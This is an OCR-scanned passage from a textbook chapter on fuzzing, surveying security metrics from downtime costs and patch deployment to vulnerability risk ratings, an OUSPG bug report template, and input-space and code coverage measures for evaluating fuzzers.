to withstand denial of service attacks. Useful metrics related to uptime include:!!

» Measured up-time of software, host, or service (percent, hours) gives the
availability metric such as five nines 99.999% uptime.

* Planned downtime (percent, time) is the total amount of time that resources
were out of service due to regular maintenance.

 Unplanned downtime (percent, hours) shows the total amount of time related to
unexpected service outages and represents the change control process variance.

» Unplanned downtime due to security incidents (percent, hours) is often a
subset of the above and indicates the result of security shortcomings.

« Mean/median of unplanned outage (time) characterizes the seriousness of
a typical unplanned outage, again with a special attention to those that are
security related.

* System revenue generation (cost per hour) shows the business value of the
service or the system, such as loss of revenue per hour of downtime.

« Unplanned downtime impact (cost) quantifies foregone revenue due to the
impact of incidents.

* Mean time between failures (time) characterizes how long systems are typi-
cally up between failures.

 Loss of data (cost) fees associated with loss of data due to security breach.

» Intangibles (cost) loss of business or credibility due to outages, especially those
caused by security incidents.

When such metrics are in place and monitored, the amount of downtime related
to security incidents can create revealing insight into the value of software vulner-
abilities. However, there is one problem with some of the above availability metrics
from a security perspective. When a hidden security vulnerability exists in a system,
the system can be shut down by anyone who knows the details of that vulnerability
at any given time. Furthermore, the system can be kept down using repeated attacks.
Typical availability metrics work best when incidents are not caused by humans.
For example, all the above metrics are better suited for hardware-related failures.
Still, these metrics are very useful because the people responsible for IT operations

" Andrew Jaquith. (2007). Security Metrics: Replacing Fear, Uncertainty, and Doubt (pp. 68-71)
Boston: Addison-Wesley.
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easily understand them. These metrics are highly valuable when the direct costs
related to security incident needs to be explained to people who have not personally
encountered a security incident, at least not yet.

The cost can also be the actual value of the device or a service, which is very
direct and concrete. For example, in cases in which security vulnerabilities are found
and exploited in embedded devices, the system can become corrupt to a point that
it cannot be repaired or it would require reprogramming by the manufacturer. The
same applies when critical data is destroyed or leaked to the public. These types of
mistakes can be impossible for the end user to repair.

A commonly used metric for this purpose is ROSI (return on security invest-
ment). If investment in a fuzzer is less than the value (cost) of a security incident
multiplied by the probability of an incident, the investment in fuzzing can be justified.

4.2.4 Cost of Patch Deployment

Deploying changes to the system after failure creates additional direct and measur-
able costs besides the direct costs caused by the incident itself. Some of these metrics
are directly related to the downtime metric in case the system requires third-party
involvement to recover from the crash or failure. Such metrics provide additional
information related to the maturity of the process of recovering the system back to
running. These system recovery related metrics are:'?

 Support response time (average time) indicates the time it takes from the out-
age to the time of response from the responsible internal support personnel,
or from the manufacturer or vendor of the failing component.

« Mean time to recovery (time) characterizes how long it takes to recover from
incidents once the repair activities are started.

* Elapsed time since last disaster recovery walk-through (time) shows the rela-
tive readiness of disaster recovery programs.

Although this metric can be adequate for an enterprise user, it does not provide
enough details on what happens behind the scenes when the failure is repaired.
Repairing a security mistake is almost never as easy as removing the failing compo-
nent and replacing it with a functional component. Problems related to the recovery
metrics from the software security perspective are related to the complexity of the
security updates and the readiness of the entity responsible for software develop-
ment to dedicate resources for creating such security update. The problem cannot
be fixed by the IT staff if there is no update or patch available to deploy. In our
research we have seen everything from a matter of hours up to more than a year of
response time from the discovery of a new security flaw into releasing an update
to correct the software. Unfortunately, in many cases, without public disclosure
of the vulnerability details, or without an incident related to that specific security
flaw, a vendor might not be motivated enough to develop and release these critical
updates to its software. This is apparent from the metrics available from the OUSPG

12 Andrew Jaquith. (2007). Security Metrics: Replacing Fear, Uncertainty, and Doubt (pp. 71-72).
Boston: Addison-Wesley.
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disclosure process shown in Figure 4.3.!3 The OUSPG research team noted time
frames from a matter of days up to several years from the disclosure of the issue to
the manufacturer to the release of an update. On the other hand, if the flaw was
reported publicly (public disclosure), it was typically fixed in matter of few hours
up to few weeks.

Change control and configuration management are critical components of any
effective security program. These define the process for managing and monitoring
changes to the configuration of the operational environment. Clear separation of
duties in relation to updating and configuring the system and strong access control
for making those critical changes are needed. No change should happen without a
process, and all changes should be clearly tracked. These preparations will enable
the use of metrics related to change control:'*

« Number of changes per period (number) measures the amount of periodic
change made to the production environment.

* Change control exemptions per period (number, percentage) shows how often
special exceptions are made for rushing through changes.

« Change control violations per period (number, percentage) shows how often
change control rules are willfully violated or ignored.

From a security perspective, special attention is paid to deploying security
updates, patches, workarounds, and other configuration changes related to security.
To be prepared for the abovementioned exemptions, and even violations in cases of
a crisis, are critical when a critical security update needs to be deployed in a matter
of hours from its issuance by the relevant vendor. A strict environment that is not
ready for immediate updating can be vulnerable to attacks until these protective
measures are in place.

Regression testing, or patch verification, is a critical metrics for patch develop-
ment and deployment. Fuzzing needs to be repeatable. This is why most fuzzing tools
pay significant attention to the repeatability of each test. An important aspect of
testing in QA is being able to perform regression tests to ensure you are not causing
new bugs because of issuing fixes to old problems. A pseudo-random fuzzer does
a great job of this by providing a seed value when you initiate fuzz testing. Other
fuzzers use or create static test cases that can be used for regression tests. Note that
the repeatability with random testing needs to take into account the changes in the
tested interface. Communication interfaces are constantly updated as new protocol
specifications emerge. A traditional random fuzzer typically takes two seeds: the
data seed (e.g., a network capture) and the seed for the randomization process. If
either one of these changes, you will have a different set of tests on your hands, and
you cannot thoroughly verify the vendor-issued patch with the new modified test
setup. In model-based testing, these two seeds are not needed, but instead the tests

13M. Laakso, A. Takanen, J. Réning. “The Vulnerability Process: A Tiger Team Approach to Resolving
Vulnerability Cases.” In Proceedings of the 11th FIRST Conference on Computer Security Incident
Handling and Response. Brisbane, Australia. June 13-18, 1999.

4Andrew Jaquith. (2007). Security Metrics: Replacing Fear, Uncertainty, and Doubt (pp. 72-73).
Boston: Addison-Wesley.
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Figure 4.3 Disclosure process and milestones used in disclosure metrics.

are built from an interface specification. The generated tests remain the same, until
an eventual change in the used protocol specification will necessitate a change in
the tests produced by model-based fuzzing test tool.

Defect Metrics and Security

Measuring the security of software-based solutions is a difficult task, because secu-
rity is a hidden property only visible when individual vulnerabilities are uncovered.
Through different vulnerability assessment methodologies and testing techniques,
we are able to get some visibility into the true security of a product or a service. The
challenging part is turning those results into something measurable. We can apply
some selected metrics from the quality assurance side or from the security field to
summarize our findings into something that is easier to grasp even by someone
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who does not understand the technology that well. Fortunately, some methods of
fuzzing, and especially robustness testing, are very useful techniques in providing
more insight in this type of measurement. Interestingly, the same metrics can also
be used to assess the efficiency of the testing technique itself. To understand this
better, let us first have a look at some useful metrics in software security.

The first challenge we encounter is how to define the software or the system
being assessed. The simplest metrics we need to collect are related to the software
itself and are drawn from white-box tools. These techniques are based on the source
code and include metrics such as the number of lines of code, branches, modules,
and other measurable units. The software also needs to interact with the outer world
to be useful, and therefore, looking at the software from a black-box perspective
gives us a new set of metrics. These include available services, open network ports
or sockets, wireless interfaces, and user interfaces.

The term attack surface has been used to indicate the subset of the complete
application that can be accessed by attackers. Several different metrics are used to
define attack surfaces. From the top down, a network-topology-based attack surface
can identify which networked computers are susceptible to attacks by nontrusted
parties such as local users or by anyone with access to the internet. When the hosts
have been identified, the analysis can be extended to the network services on those
hosts that are accessible from the open network or through other remote or local
interfaces. Finally, various code coverage metrics can be used against each identified
service for studying which part of the exposed applications can be accessed through
those interfaces. Measuring the attack surface of an individual piece of software
is similar to measuring the code coverage of a black-box test, although there are
challenges in simulating the code into revealing all possible paths that it can take
during normal use. But, in short, an attack surface indicates which portions of
the code an attacker can potentially misuse, namely all code that can be accessed
through various local or remote interfaces, and which is executed during the tests.

Various metrics related to known defects are commonly used in both QA and
VA.In QA, the track record of known issues gives an indication of the overall quality
while regression testing is used to verify that those flaws are not reintroduced into
the software. In network or host security auditing, vulnerability scanners can be
used to verify that all known issues are resolved from the deployed systems. Defect
counting can be based on either externally or internally found defects. Although
software developers can see both metrics, end users such as enterprises and system
integrators often have to rely on the publicly known defects only, unless they have a
good service agreement with vendors and can access such defect metrics from their
suppliers. Without a database of publicly known vulnerabilities, an enterprise often
contracts a third-party security auditor to conduct an assessment and to estimate
an assurance level for the product. The details of such an assessment would most
probably be internal to the contractor, but the reports that result from it can give
an estimate of the number of vulnerabilities that a potential attacker without prior
knowledge on the system might find.

We will now walk through some of these metrics in more detail, with a focus
on how they can be used to assess the efficiency of the fuzzer itself, and as a result,
the efficiency of the test and the resulting tested system.
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4.3.1 Coverage of Previous Vulnerabilities

Perhaps the most media-attractive metric of security is based on publicly known
security mistakes. A piece of software that makes the headlines on a weekly basis
is often perceived as less secure than another piece of software with less-known
flaws. Although often used, this is not a very good metric for security, since the
existence of more known vulnerabilities in one product can result simply from its
popularity and from how many researchers are looking for problems in it at any
given time. But is this a useful metric in relation to fuzzers? When various past
security incidents are analyzed, today we can quite often see that more and more of
them are actually found using automated security test tools such as fuzzers. Various
security consultants also find some of these flaws in their proprietary and typically
nonautomated techniques.

Metrics based on the coverage of previously known vulnerabilities are very
similar to the metrics related to regression testing in the QA field and similar to
the assessment of the efficiency of vulnerability scanners. The same metric can be
argued to apply as a metric for software security, but that can be easily countered
by a simple comparison of a widely used Web server and a small internally used
Web server. If the widely used Web server has hundreds of known security issues
and the proprietary Web server has none, the result of such a comparison would
indicate that the proprietary Web server is more secure. This is not necessarily true.
To really assess the security of the proprietary Web server, one should apply all the
same security tests that were used to the widely used server, and based on those
test results, try to come to a security verdict. Fuzzers are probably the first available
tools that can create such a metric. And the same metric can be used to assess the
efficiency of the fuzzer itself.

Some people think that fuzzing can only find certain types of vulnerabilities;
that is, relatively simple memory corruption bugs. This again is not true. You can
analyze this by looking at past vulnerabilities and thinking about how to trigger
those vulnerabilities with black-box testing tools. The steps to conduct such an
analysis include the following phases:

1. Take any communication interface and find all known vulnerabilities that
have been reported in any implementations of it.

2. For each found known issue, find out what the exact input (packet, message
sequence, field inside a file format) that triggers it.

3. For each known issue, identify how the problem could be detected by moni-
toring the target system if the trigger was sent to it.

4. Map these triggers to the test coverage of black-box testing tools such
as fuzzers.

The results of such a comparison can be challenging to analyze. Certainly, some
fuzzing tools will catch different flaws better than others. Purely random fuzzers
would only catch simple flaws, and more intelligent fuzzers should catch most of
the flaws in such a study. Unfortunately, no matter what fuzzing approach you use,
mapping the generated test cases to known vulnerabilities is a tedious task, and
that is why most fuzzers have separated these two testing goals. A test for known
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vulnerabilities, whether those tests are integrated into a fuzzer, is very similar to
traditional vulnerability scanning.

One approach that fuzzers take to cover most of the security issues is to actually
walk through all possible values in a specific protocol. If, for example, a nonprint-
able character in front of a long overflowing text string disturbs an ASCII-based
protocol, a fuzzer would systematically (or randomly) attempt all of the known
characters (0x00-0xFF) in conjunction with that string. Fuzzers have used this
simple approach since at least 1999. This group of tests will then contain a number
of known vulnerabilities in unrelated implementations of the same communication
interface. For example, if we take a test group called SIP Method in the PROTOS
c07-sip test suite,'> we can see that the test group contains 193 test cases that test
various elements inside the SIP Method part of the protocol. The test group has
found tens of different flaws in various products, but does not attempt to identify
individual test cases for each of those flaws. The entire group should be used for
regression testing instead of one single test case.

Optimizing tests in fuzzing requires understanding of the actual flaws behind
the vulnerability. Instead of adding more brute force or randomness, we need to
study if someone has actually looked at the bug to see what caused this behavior. For
example, let us assume a bug is triggered by a special character such as comma “,”
inside or at the beginning of a string. Understanding if the programmer used some
comma-separated lists internally will help to optimize such tests. Or maybe a pro-
prietary pattern matching algorithm triggered the bug? Would “a,”<overflow> also
cause the bug? Should we also test for <overflow>”,”<overflow> and <overflow>",a”
and <overflow>”,”? Should we also try other delimiters? The challenge in stating
that a fuzzer fully covers a vulnerability is that there is no clear definition of cover-
ing a vulnerability. There are always variants to each bug. One of the purposes for
known vulnerability coverage is to assess if that and similar flaws are tested for.
Another purpose is to really assess that the vulnerability was truly fixed.

Let us look at this from another point of view: security scanners. There are two
types of security scanners: aggressive and passive. An aggressive security scanner
will send the actual exploits to the system under test. For aggressive security scan-
ners, you would only need one single test case to cover a known vulnerability. If
the vulnerability exists, the system will crash or execute a harmless payload script.
Note that most commercial vulnerability scanners are passive tools so that they do
not disturb the system under test. They do not actually test for the vulnerability at
all, but only passively check the version of the software under test and make the
verdict based on the response to that passive request. Passive scanning is manda-
tory for most vulnerability scanners because such a test will not result in the crash
of the actual service. This type of passive test would be unacceptable for a fuzzer
and would defeat the purpose of fuzzing.

Known vulnerability metrics can be argued to be meaningless for fuzzers. But
still, for those fuzzers that do such comparison, there are several levels of coverage
against known vulnerabilities:

Bwww.ee.oulu.fi/research/ouspg/protos/testing/c07/sip/index.html.
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0. Not covered or passive check.

Covered with single test case (aggressive vulnerability scanner behavior).

2. Covered with a range of optimized tests (e.g., a subset of all commonly used
delimiter characters).

3. Covered with a full range of inputs (e.g., going through all byte values for
a 16-bit, 32-bit, or 64-bit memory address).

[EN

It is important to note that, although a fuzzer could reach a high ranking based
on a metric against known vulnerabilities, it can still miss a lot of problems in areas
that have not been tested by anyone before. For example, countless people have
fuzzed the most common HTTP implementations (such as the Apache Web server)
using all available tools. This does not necessarily mean that Apache is free of bugs.
Although the tolerance to most fuzzers is higher, people still manage to find issues
in such products with new fuzzer tools. There is no such thing as vulnerability-free
software. All software fails with fuzzing. It just depends on the quality of your
fuzzer and if you find the new categories of problems before someone else finds
them. That is the first reason why metrics based on known vulnerabilities do not
work for fuzzers.

Another challenge is that today many security companies are completely
against any public disclosure of vulnerabilities in their customers’ products. Most
probably, the product vendors will never disclose any of the problems they find
internally either. That is the second reason why this metric is not very suitable
for fuzzers: Known vulnerabilities do not reflect the true vulnerabilities in any
given product.

As a summary, security can again be divided into proactive testing and reactive
testing, and metrics related to known vulnerabilities only apply to reactive secu-
rity. A vulnerability scanner is always reactive; that is, it tests for known issues.
Vulnerability scanners have their place in network auditing, but not as a zero-day
detection device. These tools are based on a library of attacks or fingerprints, and
they will verify that those exact attacks are secured against. Unfortunately, if secu-
rity testing is performed using reactive tools, it means that the first variant of that
attack will again pass through the security perimeter. For example, suppose an IPS
is protecting a Web server that crashes when a string of 1,000 A’s is sent. If the IPS
filter algorithm were just looking for 1,000 A’s, 1,000 B’s would avoid the filter and
crash the Web server via the same memory corruption attack vector (in this case
a standard and contrived buffer overflow). Likely, the IPS filtering method will be
more complex and will clip the request at a certain number of bytes as opposed to
the value of those bytes. But the point is still made; clever attackers can sometimes
bypass filters. IPS systems need to be tested as much as any other system, but the
focus might be less on memory corruption and more on functionality in this case
since proper function helps ensure the security of protected systems. That is why
proactive tools like smart fuzzers will test the interface more systematically. In the
earlier example, a fuzzer would always have a large set of tests for the browser
name, as different Web-based products and applications will crash with different
length strings. The firewall has to be tested with the entire suite of tests for any
meaningful results.
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4.3.2 Expected Defect Count Metrics

Defect count metrics depend on where in the development cycle the testing is per-
formed. Fuzzers that are developed in-house and unleashed on a beta release will
most likely find an enormous number of bugs. On the other hand, fuzzing a mature
product such as Apache or the Microsoft IIS Web server today will likely yield none.

One estimation metric for found defects is based on the past history of a fuzzer.
Expected defect count is based on the number of tests that are executed and the
probability of each test finding a defect.

Expected number bugs = Number of tests *
Probability of finding a defect per test

The quality of tests is affected by several factors:

1. What is the model built from (traffic capture, specification)?
2. How is the intelligence built in (attack heuristics, secure program-
ming practices)?

After a thorough test execution, comparing two fuzzers is easy. If one fuzzer
finds 10 times more flaws than the other, and the first fuzzer will cover all the flaws
the second fuzzer found, then the first fuzzer has a higher defect count. But is the
same defect count applicable when a different piece of software is being tested?
Looking at past experiences, it seems that randomness in a fuzzer can increase the
probability of finding flaws such as null pointers dereferences. On the other hand,
an intelligent fuzzer can easily be taught to find these same flaws if the inputs that
trigger these flaws are found.

Another aspect is related to the various definitions for a defect. Whereas a secu-
rity expert is interested in verifying the level of exploitability of a found defect, a
financial corporation or a telecom service provider or a carrier will see a DoS attack
as the worst possible failure category. It is understandable that hackers are interested
in exploits, whereas other users of fuzzers are interested in any flaws resulting in
critical failures. This is one of the main differences in quality assurance and vulner-
ability analysis: Developers need to find all reliability issues, while attackers only
need to find one that enables them to execute remote code on the target system.

4.3.3 Vulnerability Risk Metrics

The risks that software is exposed to can be assessed by each vulnerability that is
found with fuzzers or other security testing practices. A number of such categoriza-
tions exist, but they share a lot of common metrics, such as:

« Criticality rating (numeric value): Metric for prioritizing vulnerabilities.

* Business impact (high/medium/low, mapped to a numeric value): Estimates
the risk or damage to assets.

« Exploitability: Type of, easiness of, or possibility for exploiting the vulnerability.
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« Category of the compromise: Various vulnerability categories and the related
exposure through successful exploitation: confidentiality, integrity, availabil-
ity, total compromise.

o Interface: Remote or local, or further details such as identifying the used
attack vector or communication protocol.

* Prerequisites: What is needed for exploitation to succeed; for example, is there
a requirement for successful authentication?

The most abused metric for vulnerabilities is often the criticality rating, as there
is a tendency to only focus on fixing the vulnerabilities with highest rating. A defect
that is a remotely exploitable availability problem (i.e., open to DoS attacks) can be
easily ignored by an enterprise if is labeled with medium impact. The attack may be
initially labeled as a DoS due to the difficulty of creating a code-executing exploit or
because the flaw is in a noncritical service. However, after the flaw has been made
public, a better hacker could spend the time needed to write an operational exploit
for it and compromise enterprise networks using that flaw. The criticality rating is
often calculated as a factor of the business impact and the metric for exploitability,
as shown below. It is very difficult to calculate the criticality rating for vulnerabili-
ties without knowing the context in which the software is used.

Criticality rating = Business impact * Exploitability

Business impact can indicate the direct financial impact if the flaw is exploited
in customer premises, or it can indicate the costs related to fixing the flaw if the
problem is found in development environment. Only a domain expert in the busi-
ness area can usually rate the business impact of a specific vulnerability.

The exploitability rating indicates how easy it is to develop a raw bug into a
working exploit. This variable is extremely hard to estimate as the field of exploit
development is not well documented. Many famous examples exist of vulnerabili-
ties that are declared unexploitable but then someone manages to exploit them!!®
Furthermore, the exploitability rating can change as new techniques in exploit
development become available.

The category of the compromise is the most discussed metric for security vul-
nerabilities. The simplest categorization can consist of the resulting failure mode,
leaving little interpretation to the reader. A successfully exploited vulnerability can
often compromise one or several of the security requirements, such as confidenti-
ality, integrity, and availability. A vulnerability that results in leaking of informa-
tion violates the confidentiality requirement. Integrity-related vulnerabilities result
in alteration of data. Availability-related vulnerabilities result in denial of service.
Often, such as in the case of buffer overflow problems, the compromise is total,
meaning the entire system is in the attacker’s control through execution of remote
code on the victim’s system.

ewww.securityfocus.com/news/493.
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The interface exposed through the vulnerability can be either remote or local.
Local programming interfaces (API), command line interface (CLI), and the graphi-
cal user interface (GUI) can be thought as local interfaces. Remote interfaces are
often related to a specific communication protocol such as HTTP. Remote inter-
faces can also act as a transport. For example, picture formats such as GIF or TIFF
can use a network protocol as the attack vector. HTTP and SIP are also examples
of application protocols; that is, various Web or VoIP services can be running on
top of those protocols. In real life, the division to remote and local interfaces has
become less significant because almost every local interface can also be exploited
remotely through launching command line utilities or API functions through, for
example, Web browsers or MIME-enabled applications.

Prerequisites limit the exploitability of the vulnerability. For example, a vulner-
ability found in the later messages in a complex SSH authentication process might
require successful authentication of a user in the system to be exploited. A local
vulnerability in an application such as a picture viewer might only be exploitable
with the presence of a specific version or configuration.

Vulnerability risk metrics are an extremely useful tool for communicating the
found vulnerabilities in the bug reporting process. They can be used by both the
reporters to explain the importance of the found issues and by the repairers of the
problems in their own bug tracking records. Below is an example taken from a bug
report template from OUSPG:!”

3. Suspected Impact and Vulnerability Type
3.1. Exploitability:
[ ] Local - by users with Tocal accounts
[ ] Remote - over the network without an existing
local account
3.2. Compromise:
[ ] Total compromise of a privileged account UID: <DESC>
[ ] Total compromise of an unprivileged account UID:
<DESC>
If not a total compromise, please specify:
[ ] Confidentiality
[ ] Integrity
[ ] Availability (Denial of Service)
3.3. Timing:
[ ] Exploitable at any time
[ ] Exploitable under specific conditions: <DESC>
3.4. Vulnerability Category:
[ ] Buffer overflow
[ ] File manipulation
[ 1] Ability to create user-modifiable arbitrary files
[ 1] Ability to create unmodifiable arbitrary files
[ ] Ability to truncate or remove arbitrary files

7M. Laakso, A. Takanen, J. Réning. “The Vulnerability Process: A Tiger Team Approach to Resolving
Vulnerability Cases.” In Proceedings of the 11th FIRST Conference on Computer Security Incident
Handling and Response. Brisbane, Australia. June 13-18, 1999.
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[ 1 Ability to change owner of arbitrary dirs or files
[ ] Ability to change protection modes of arbitrary
dirs or files

[ 1 Other: <DESC>

[ 1 Execution

[ ] Exploitation involves a time window of the race
condition type

[ 1 Other: <DESC>

3.5. Comment on impact: <DESC>

4.3.4 Interface Coverage Metrics

The coverage metric for interfaces consists of enumerating the protocols that the
fuzzer can support. Fuzzing (or any type of black-box testing) is possible for any
interfaces, whether they are APIs, network protocols, wireless stacks, command
line, GUI, files, return values, and so on. In 2006, fuzzers existed for more than
100 different protocol interfaces. Fuzzing an IMS system will require a different
set of protocols than fuzzing a mobile phone.

Interfaces are defined with various tools and languages. The variety of descrip-
tion languages used in protocol specifications creates a challenge for fuzzers to sup-
port them all. Creating any new proprietary fuzzing description languages poses a
tedious task. What description language should we use for describing the interfaces
to enable anyone to fuzz them? Some protocol fuzzers have decided to use the defini-
tion languages used by the standardization organizations such as IETF and 3GPP.
The most common definition languages are BNF or its variants for both binary
and text-based protocols, XML for text-based protocols, and TTCN and ASN.1
for binary protocols. For traffic mutation-based fuzzers, it might be beneficial to
collect coverage data from a wide variety of complex protocol use cases.

4.3.5 Input Space Coverage Metrics

The actual coverage inside the selected interface definition or against a protocol
specification is a critical metric for fuzzer quality. This is because there is no stan-
dardized formula or setup for fuzzing. A wide range of variables apply to the test
quality, especially if we are talking outside of just simple Web application fuzzing
and looking at more complex low-level protocol fuzzing. Even a smart gray-box
fuzzer could take weeks to find all the vulnerabilities, and a set time frame just
leaves room for error. The input space coverage will help in understanding what
was tested and what was not.

Because the input space is always infinite, it will always take an infinite time
to find all flaws. Optimizing (i.e., adding intelligence) will find more flaws earlier,
but can still never ensure that all flaws have been found. This would not be true,
of course, for protocols that have a physical limit, such as UDP packet size with
no fragmentation options. Only then you will have a physical limit that will cover
alltests for that single packet. But that would be a lot of tests. Even then, the internal
state of the SUT will influence the possibility of finding some of the flaws.

The input space metric explodes when combinations of anomalies are consid-
ered. There are known security related flaws that require combination of two or
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three anomalies in the message for the attack to succeed. Sometimes those anomalies
are in two different messages that need to be sent in a specific order to the system
under test.

One approach to avoid the infinity of tests is to do the tests systematically. A
carefully selected subset of tests applied across the entire protocol specification
will reach good input space coverage when measured against the specification, but
will not have good input space coverage for each data unit inside the protocol. It is
possible to have both approaches combined, with some random testing and a good
set of smart robustness testing in one fuzzer. All different techniques for fuzzing
can coexist because they have different qualities from the input space coverage per-
spective. There is a place for both random testing (fuzzing) and systematic testing
(robustness testing).

In short, the input space is always infinite. Protocols travel in a pipe that has no
limits on the upper boundary of the packet sizes. Whereas infinity is challenging
in physics, the bits in the attack packets can be created infinitely, and they do not
take physical storage space like they would in, for example, file fuzzing. You might
think input space is finite, like the way Bill thought we never need more than 640k
of memory (well, he did not really say it, but it’s a great urban myth anyway), but
in reality we can see this is not the case.

If a protocol specification says that:

<protocol> = <data>
<data> = 1..256 * <16bit-integer>

How many tests would we need? Fuzzing this (and not forgetting to break the
specification in the process) will require an infinite amount of tests, provided we do
not have any other limitations. Is 2216+1 a long enough stream to inject? Is 16GB
too much to try? What about if we send even more? Where should we stop? But as
you said, it might not be sensible to go that far, but what if it will crash with one
more additional byte of data? Or two more? Why set upper limits to fuzzing data?
The input space is always infinite. Even if the protocol specification of a one-byte
message is simple like:

<message> = “A” or “B”

You should definitely try all possible octets besides “A” and “B”, resulting in
256 tests. You should also try all of those in all possible encoding formats, and with
that the input space is already getting quite large. And by adding repetitions of those
inputs, the input space becomes infinite as there is no upper bound for repetition,
unless an upper bound is defined by lower level protocol such as UDP. Even with
UDP, the 64k-byte limit for the packet means close to infinite (approximately 10 to
the power of 160,000) different packet contents.

With some protocols in some specific use scenarios, you can potentially mea-
sure the maximum size of input space. You can potentially map the upper bounds
by, for example, increasing the message size until the server side refuses any more
data and closes the connection (it may still have crashed in the process). Any test
with bigger messages would not add to the test coverage.
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Another aspect of input space is created by dynamic (stateful) protocols. What
if a flaw can be triggered by a combination of two different packets? Or three? The
message flows will also increase the input space.

A key question with any infinite input space is: Does randomness add to the
value of the tests? When speaking about systematic versus random (nonsystematic),
we need to understand what randomness actually means. The quality of the ran-
domness will have some impact to the resulting input space coverage. Let’s look
at two widely used algorithms. These are not true algorithms, but can be used as
examples assuming someone wants to start building a library of fuzzing or test
generation methodologies:

“27x, +-1, +-2, ... is systematic test generation
“27x + rand()” is not systematic, even if you have control on the used seed
use for the random number generation.

Note that bit-flipping can also be both random or systematic because you do
not know the purpose of each test. There are dozens of articles on random testing
and white-noise testing, the related problems, and where it makes sense and where
it does not. We will explore this later in relation to random fuzzing.

While fuzzers do not have to bother with conformance testing, they still often
have to build their negative fuzz tests based on any available RFCs or other relevant
specifications. A solid fuzzer or robustness tester is based on specifications, while
breaking those very same specifications at every turn. The more specifications a
fuzzer covers, the better input space coverage it will have, and the more flaws it
will find.

There are two branches of negative testing:

1. Fuzzing starts from infinite number of semirandom tests, and tries to learn
intelligence in structures. based on feedback from the test target.

2. Robustness testing starts from finite set of tests from a behavioral model of
the protocol, and tries to add intelligence in data inputs.

After some development, both will result in better tests in the end, merging into
one semi-random approach with a lot of intelligence on interface specifications and
real-life vulnerability knowledge. The optimum approach is probably somewhere in
the middle of the two approaches. For some reason, security people start with the
first approach (perhaps because it is easiest for finding one single problem quickly).

QA people often prefer the second approach because it fits better to the exist-
ing QA processes, whose purpose is to find all flaws. Due to the number of tests
required, the famous Turing problem applies to approach number one more than
to approach number two.

Fuzzers should definitely also do combinations of anomalies in different areas
of the protocol for good input space coverage. This is where random testing can
bring huge value over systematic robustness testing. If you stick to simple anomalies
in single fields in the protocol specifications, why use random fuzzing at all? It is
much more effective to build systematic tests that walk through all elements in the
protocol with a simple set of anomalies.
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4.3.6 Code Coverage Metrics

Code-based reviews, whether manual or automated, have been used for more than
two decades and can be built into compilers and software development environments.
Several terms and metrics can be learned from that practice, and we will next go
through them briefly. Code security metrics that we will examine are

+ Code volume (in KLOC = thousand lines of code) shows the aggregate size
of the software;

» Cyclomatic complexity shows the relative complexity of developed code;

* Defect density (or vulnerability density) characterizes the incidence rate of
security defects in developed code;

 Known vulnerability density characterizes the incidence rate of security defects
in developed code, taking into account the seriousness (exploitability) of flaws;

« Tool soundness estimates the degree of error intrinsic to code analysis tools.

One of the most common code volume metrics is lines of code (LOC), or thou-
sands of lines of code (KLOC). Although it appears to be a very concrete metric,
the code volume is still not unambiguous and perfect. However, LOC is still less
subjective than most other code volume metrics such as those based on use cases or
other metrics that are used to estimate the code size during requirements or design.
Code volume can be measured at different layers of abstraction, but it most typically
is measured from the abstraction layer of the handwritten or generated high-level
programming languages. Therefore, the programming style and the programming
practices used will affect the resulting metric for the amount of code. As a better
alternative to counting lines of code, some coding style checking tools, profilers, and
code auditing tools will measure the number of statements in the project. McCabe’s
metric for cyclomatic complexity provides one useful estimate for the complexity of
the code. This and several other metrics are based on the number of branches and
loops in the software flow. The most valuable metric for fuzzing comes from being
able to assess the ratio of what was tested against the total available. Understand-
ing the limitations of chosen metrics is important. We will come back to this topic
later in the chapter.

The next metric we will discuss is defect density. The number of defects that
are found via a code audit can vary significantly based on the tools that are used
and the individuals conducting the assessment. This is because people and tools can
only catch those bugs that they can recognize as defects. A security flaw in the code
is not always easily identified. The simplest of security mistakes can be found by
searching for the use of function calls that are known to be prone to errors, such as
strcpy(), but not all mistakes are that easy to catch. Also, code auditing tools such
as RATS, ITS4, flawfinder, pscan, and splint, and their commercial counterparts,'®

80ne of the first widely used and security aware commercial run-time analysis tools for detecting
security flaws from the code was called Purify, launched around 1991 by Pure Software, later acquired
by Rational Software. Today new emerging companies such as Coverity by Synopsys, Klocwork,
AppScan by IBM, and Fortify by HP appear to dominate the market with both offline (static) and
run-time (dynamic) analysis tools.
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use different criteria for finding mistakes such as unsafe memory handling, input
validation, and other suspicious constructs.

This variance in defect density depends on the interpretation of false positives
and false negatives in the code auditing process. A false positive is an issue that
is labeled as a (security-related) defect, but after a closer study turns out to be an
acceptable piece of code (based on the used programming policy). False positives
are created due to inconsistencies in programming practices. Either the enforced
coding policies have to be taught to the code auditing tool, or the coding practices
could be adapted from the tool. A more challenging problem is related to false nega-
tives, which basically means a mistake in the code was missed by the code auditing
tool. The definitions of false positive and false negative are also subjective, as some
people define them based on the exploitability of the security flaws.! To some, a
bad coding practice such as using an unsafe string copy function is acceptable if it
is not exploitable. Yet to others, all code that can pose a risk to the system is to be
eliminated regardless of whether it can actually be exploited. The latter is safer, as
it is very common to adapt code from noncritical projects into more critical areas,
propagating potential weakness in the process.

Known vulnerability density as a metric is a modified variant of the defect
density, with weights added to indicate the significance of the found issues. All
defect density metrics are estimates that are based on proprietary metrics of the
code auditing tools. Until the problems with the accuracy are sorted out, the defect
density metrics given by code auditing tools are valuable as guidance at best. The
Software Assurance Metrics and Tool Evaluation (SAMATE)?? project has proposed
using a metric called soundness, which attempts to estimate the impact of false posi-
tives and false negatives to the defect rate. This estimate is based on a calibration,
a comparison of the code auditing tool to a well-performed manual code review.

Metrics based on code coverage have also been used in analyzing the efficiency
of fuzzers. In a master’s thesis published in 2004 by Tero Rontti on this topic for
Codenomicon and University of Oulu, code coverage analysis of robustness tests
were applied to testing various open-source implementations of TLS and BGP.2! The
research indicated that in some areas fuzzing can potentially have better test code
coverage than traditional testing techniques. Interestingly (but not surprisingly),
fuzzing had much better test coverage than the OpenSSL conformance test suite,
for example, in testing the TLS interface. However, fuzzing did not test all the code
that conformance testing would test, nor was the overall coverage anywhere close
to 100%. This is because fuzz tests typically cannot reach user interface or con-
figuration routines inside the tested software, for example. Also, while the focus of
conformance tests is in trying out all potential features, fuzz tests typically focus on
fuzzing around a particular subset of the capabilities of the tested software. Fuzzing
is negative testing; that is, it has better chances of exploring different error handling
routines compared to typical feature tests. But code coverage alone does not indicate
the quality of the fuzzer. It can indicate poor fuzzing, if coverage is suspiciously

Phttp://weblogs.mozillazine.org/roc/archives/2006/09/static_analysis_and_scary_head.html.
20SAMATE: Software Assurance Metrics and Tool Evaluation. http://samate.nist.gov.

